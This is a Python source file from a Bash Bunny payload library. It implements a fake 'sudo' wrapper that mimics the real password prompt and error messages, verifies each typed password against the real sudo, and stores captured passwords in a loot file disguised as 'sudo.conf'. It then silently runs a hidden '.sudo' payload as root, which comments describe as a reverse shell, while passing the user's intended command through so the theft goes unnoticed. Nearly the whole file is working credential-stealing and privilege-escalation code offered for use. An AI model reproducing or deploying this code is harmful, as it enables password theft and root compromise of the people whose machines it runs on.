bashbunny-payloads/payloads/library/credentials/bushingsBlueTurtle/blueTurtle.py

201 lines
6.7 KiB
Python

#!/usr/bin/env python
realSudo = "/usr/bin/sudo" #"REAL_SUDO_HERE"
pythonInterpreter = "PYTHON_EXECUTABLE_GOES_HERE"
def cantLoadModuleError():
import sys
if sys.version_info.major < 3:
return ImportError
if sys.version_info.minor < 6:
return ImportError
else:
return ModuleNotFoundError
def getLootFileName():
import os
thisFullPath = os.path.abspath(__file__)
thisDirectory = os.path.split(thisFullPath)[0]
lootFile = thisDirectory + os.sep + "sudo.conf"
return os.path.join(lootFile)
def initializeThisScript():
'''This function will be run the first time by the bunny'''
import subprocess
import re
pathFinder = subprocess.Popen("which python".split(), stdout = subprocess.PIPE)
pythonExecutable = pathFinder.stdout.read().strip()
pathFinder = subprocess.Popen("which sudo".split(), stdout = subprocess.PIPE)
sudoExecutable = pathFinder.stdout.read().strip()
try:
import json
except cantLoadModuleError():
try:
jsonInstaller = subprocess.Popen("pip install --user json".split(), stdout = subprocess.PIPE, stderr = subprocess.PIPE)
jsonInstaller = subprocess.Popen("pip3 install --user json".split(), stdout = subprocess.PIPE, stderr = subprocess.PIPE)
except:
pass
try:
import getpass
except:
try:
getPassInstaller = subprocess.Popen("pip install --user getpass".split(), stdout = subprocess.PIPE, stderr = subprocess.PIPE)
except:
pass
thisFileName = __file__
thisFile = open(thisFileName, 'r')
originalCode = thisFile.read()
thisFile.close()
newCode = re.sub("PYTHON_EXECUTABLE_GOES_HERE", pythonExecutable, originalCode, 1)
newCode = re.sub("REAL_SUDO_HERE", sudoExecutable, newCode, 1)
thisFile = open(thisFileName, 'w')
thisFile.write(newCode)
thisFile.close()
createLootFile(getLootFileName())
silencePayloadFile()
quit()
def createLootFile(lootFileName):
import json
initialData = {}
lootFile = open(lootFileName, 'w')
json.dump(initialData, lootFile)
lootFile.close()
def validSudoPassword(password):
import subprocess
command = [realSudo, "-S", "-b", "echo", "Echo this"]
wrapper = subprocess.Popen(command, stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.PIPE)
wrapper.communicate(password + "\n")
#wrapper.terminate()
return not wrapper.returncode
def getPayloadFile():
import os
programDirectory = os.path.split(__file__)[0]
return programDirectory + os.sep + ".sudo"
def silencePayloadFile(): #if there is an error making our reverse https, such as a bad network connection, this will make it fail without any output
import os
payloadFileName = getPayloadFile()
if os.path.isfile(payloadFileName):
payloadFile = open(payloadFileName, 'r')
payload = payloadFile.read()
payloadFile.close()
payload = "try:\n\t" + payload + "\nexcept:\n\tpass"
payloadFile = open(payloadFileName, 'w')
payloadFile.write(payload)
payloadFile.close()
def blueTurtleShell(password): #we are going to give it a password here. It won't cause a problem if it is not needed, and it might be needed if the user was doing some long process for the sudo.
import subprocess
import os
payloadFile = getPayloadFile()
if not os.path.isfile(payloadFile):
return False
command = " ".join([realSudo, "-S", "-b", pythonInterpreter, payloadFile])
hackTheGibson = subprocess.Popen(command, stdin = subprocess.PIPE, shell = True)
hackTheGibson.communicate(password + "\n")
def runIntendedSudoCommand(): #we won't need a password here, since we just got a good sudo when we verified their password
import sys
import os
args = sys.argv[1:]
for index, arg in enumerate(args):
if arg == "sudo":
args[index] = realSudo
command = " ".join([realSudo, "-S"] + args)
os.system(command) #not using subprocess. Usually the ability to mess with stdin/out/err is useful, but it just gets in the way of delivering the true user experience here. Especially if they use something interactive like vim.
def getSudoPassword(allowedAttempts = 3):
import getpass
user = getpass.getuser()
if validSudoPassword(""): #this avoids having the program ask for a password if a valid one was just entered (normal sudo behavior). Also avoids creating a bunch of reverse shells if the user is repeatedly using sudo (that could create some noise on both ends)
return (user, "", False)
prompt = "[sudo] password for %s: " %user
fail = "Sorry, try again."
epicFail = "sudo: %s incorrect password attempts" %allowedAttempts
success = False
for i in range(allowedAttempts):
password = getpass.getpass(prompt)
if validSudoPassword(password):
success = True
break
else:
if not i == allowedAttempts - 1:
print(fail)
if not success:
import sys
print(epicFail)
sys.stdout = open("/dev/null", 'w') #sometimes this generates stray outputs if there are three failed attempts. Sending them to limbo.
sys.stderr = open("/dev/null", 'w')
sys.stdout.flush()
sys.stderr.flush()
quit()
return (user, password, True)
def loadLootFile(lootFileName):
import json
try:
file = open(lootFileName, 'r')
data = json.load(file)
file.close()
return data
except:
return False
def saveLootFile(loot, lootFileName):
import json
try:
file = open(lootFileName, 'w')
json.dump(loot, file)
file.close()
except:
pass
def parseArguments():
import sys
argList = sys.argv
if "--initializeScript" in sys.argv:
initializeThisScript()
else:
return argList
def prewrap():
parseArguments()
lootFile = getLootFileName()
loot = loadLootFile(lootFile)
try:
user, password, passwordNeeded = getSudoPassword()
except:
user = None
password = None
passwordNeeded = True
if passwordNeeded and user:
loot[user] = password
if loot:
saveLootFile(loot, lootFile)
return (user, password, passwordNeeded, loot)
def postwrap(user, password, loot):
if not passwordNeeded:
if user:
try:
password = loot[user]
except:
password = ""
blueTurtleShell(password)
if __name__ == '__main__':
parseArguments()
try:
user, password, passwordNeeded, loot = prewrap()
except:
pass
runIntendedSudoCommand()
try:
postwrap(user, password, loot)
except:
pass